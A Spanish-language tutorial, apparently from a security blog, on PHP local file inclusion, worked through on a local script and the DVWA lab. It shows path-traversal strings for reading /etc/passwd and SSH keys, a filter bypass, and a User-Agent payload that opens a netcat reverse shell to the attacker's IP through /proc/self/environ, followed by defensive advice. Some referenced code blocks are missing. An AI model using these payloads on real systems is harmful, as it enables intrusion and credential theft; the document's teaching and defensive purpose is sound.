Vulnerabilidad de Inclusión de Archivos Locales
Table of Contents
ToggleIntroducción
Como su nombre lo indica, la vulnerabilidad de inclusión de archivos locales (LFI) permite la lectura de información local dentro de un sistema. Este fallo ocurre cuando dicho servidor web utiliza la ruta como entrada, o input, hacia sus datos locales. Por lo tanto, el problema se produce por la falta de sanitización, o parches de seguridad, en la programación de la página, filtrando de forma inadecuada consultas tipo URL al usar funciones en PHP para incluir archivos.
Veamos un ejemplo:
Para esto debemos tener nuestro servidor web activo, en nuestro caso se trata de apache2. Por lo tanto, lo activaremos de la siguiente forma: systemctl start apache2 y para verificarlo systemctl status apache2
A través del comando lsof –i:80 se puede comprobar el puerto establecido en escucha.
Script en PHP para LFI
Una vez realizado esto nos dirigimos al directorio /var/www/html (en el cual se encuentran en funcionamiento los sitios web). Ahora bien, procederemos a crearnos un script en PHP a modo de ejemplo llamado example_script.php cuyo contenido será el siguiente:
Como vemos, hemos creado una variable $filename donde se almacenará el valor de la variable ‘test’ el cual está definido por cualquier archivo que le especifiquemos y se mostrará en pantalla a través de include($filename).
Ahora bien, para poner en práctica esto procederemos a crear otro archivo llamado prueba.txt cuyo contenido será:
Hecho esto, nos dirigiremos a nuestro localhost (directorio /var/www/html pero desde la web) y en nuestro navegador ponemos en funcionamiento lo realizado anteriormente.
Como se observa, a través de nuestro script hemos conseguido en pantalla el valor del archivo prueba.txt. Por lo tanto, podemos comprobar que esta vulnerabilidad surge de la oportunidad de aprovecharse de cualquier otro archivo local que resida en dicha máquina. Es decir, si pudimos ver en pantalla el contenido del archivo prueba.txt también podremos ver aquellos que se encuentren en otra ruta o directorio.
Por ejemplo, el archivo /etc/passwd contiene los nombres de usuario del sistema, si nos aprovechamos de esta vulnerabilidad podremos ver su contenido. Veamos esto a continuación:
Conseguir la lista de los usuarios del sistema demuestra la existencia de la vulnerabilidad de inclusión de archivos locales. Esto implica un gran riesgo, ya que luego de obtener dicho resultado, podríamos comprobar si existe alguna id_rsa (clave privada) por ejemplo en el directorio /home/(usuario)/.ssh/id_rsa. Sin embargo, algunas veces no es así de fácil. Pongamos esto en práctica a través de la máquina DVWA . Una vez dentro primero elegimos el nivel de dificultad y luego la sección “File Inclusion«.
Directory Path Traversal
A continuación, la máquina nos avisa que para incluir un archivo debemos editar “?page=include.php” del navegador para verificar dicha vulnerabilidad (es decir, podemos cargar cualquier cosa para verificar esto). Por lo tanto, colocaremos /etc/passwd para verificar si nos devuelve dicho archivo.
Prestemos atención al siguiente mensaje que nos da:
Como podemos ver, a modo de ejemplo colocamos “include.txt” y verificamos que no existe. Sin embargo, nos da información muy valiosa ya que podemos ver que nos devuelve un mensaje de la ruta en la cual le especificamos dicho archivo. En otras palabras, lo que le pedimos fue lo siguiente: /var/www/dvwa/vulnerabilities/fi/include.txt
Sabiendo que hay 5 directorios detrás de /etc/home, podríamos colocar lo siguiente: /../../../../../etc/passwd
Cabe aclarar que haciendo Ctrl+u al resultado de la búsqueda, veremos de forma ordenada dicho archivo.
Esto se conoce como “Directory Path Traversal” ya que como podemos observar lo que se hace es seguir la lógica y retroceder x cantidad de directorios para poder incluir nuestro archivo ya que, el directorio /var/www/example.txt/etc/passwd no existe en entornos Linux. Por lo tanto, haciendo lo anterior conseguimos incluir nuestro archivo.
Esto se debe a que el servidor suele tener configurado el “include” de PHP de la siguiente forma:
De igual manera, como acabamos de ver, a través del directoy path traversal sigue siendo insegura dicha configuración.
Ganar acceso al Sistema
Una vez comprobado que un sitio web es vulnerable a LFI, el siguiente paso será obtener el acceso al sistema. Por lo tanto, hay muchas formas de hacerlo, una de ellas es inyectando código PHP para generar un backdoor a través del archivo /proc/self/environ. Por lo tanto, colocamos dicho archivo en la barra de búsqueda teniendo en cuenta el path traversal anterior.
Una vez devuelto el archivo vemos que nos aparece USER_AGENT el cual hace referencia al cliente, en este caso nosotros o nuestro navegador, y vemos que especifica el browser (Mozilla) y nuestro sistema operativo (Linux) cuando realizamos una petición o request al servidor. Por lo tanto, podemos modificar dicha petición con código PHP y así lograr nuestro objetivo. Veamos esto con la herramienta BurpSuit:
Lo primero que haremos será volver a cargar el archivo /proc/self/environ pero con BurpSuit en “Intercept on” donde modificaremos el USER AGENT con nuestro código PHP.
Por lo tanto, cambiamos su contenido por lo siguiente: <?passthru(“nc –e /bin/bash 192.168.100.189 4447”);?>
Dicho código, como se observa, utiliza la herramienta netcat para crear un backdoor en el servidor y así, generar una conexión inversa. Por lo tanto, teniendo esto en cuenta nos pondremos en escucha por el puerto 4447, cuya dirección nuestra (kali) es la 192.168.100.189, para que cuando el proxy envíe dicha información se nos conecte automáticamente. Entonces desde nuestra terminal ejecutamos nc –lvvp 4447 y presionamos “forward” en el proxy.
Con dicha imagen y comandos comprobamos que la conexión ha sido exitosa.
¿Cómo cuidarnos de esta vulnerabilidad?
Como hemos visto, la vulnerabilidad de inclusión de archivos locales, justamente depende de la inclusión de archivos, es decir, del parámetro include() de código PHP el cual esté configurado (O en cualquier otro lenguaje de programación que se encuentre configurado). Anteriormente vimos que a través de un path traversal podríamos aprovecharnos de igual modo de dicha vulnerabilidad. Sin embargo, veamos el siguiente script:
¿Qué ocurre si modificamos el archivo de ejemplo example_script.php de la siguiente manera?
A través del parámetro str_replace cuando coloquemos en el navegador ?test=../../../../../etc/passwd lo que nos devolverá por defecto será /var/www/html/etc/passwd. Por lo tanto el funcionamiento es filtrar todos los “../”. Entonces ¿Si colocáramos “….//” tendríamos como resultado “../” no? ¡Exacto! Sigue siendo una vulnerabilidad. Veamos en detalle a continuación:
Todos estos tipos de “funciones” para acceder a un LFI son llamadas wrappers o envoltorios PHP. En la página “Exploit Database”, la cual viene por defecto en Kali, podemos encontrar varios wrappers de LFI para poner en práctica distintos tipos de ataque. Entre los wrappers más conocidos tenemos a Nullbyte, Path truncation, etc..
Ahora bien, miremos el siguiente código PHP del nivel imposible de DVWA:
En este código vemos que se especifica “$file != “include.php”, esto significa que cualquier archivo que sea distinto a include.php tendrá como resultado “ERROR: file not found!”. Por lo tanto, es un buen método de seguridad a implementar ya que nos ahorramos en escribir varias líneas de código y en pensar “Con qué podrían vulnerar el sistema”, por lo que no tendríamos forma de acceder al sistema.
Las vulnerabilidades “Log Poisoning” y “RFI” preceden de esta, los cuales veremos en los apartados.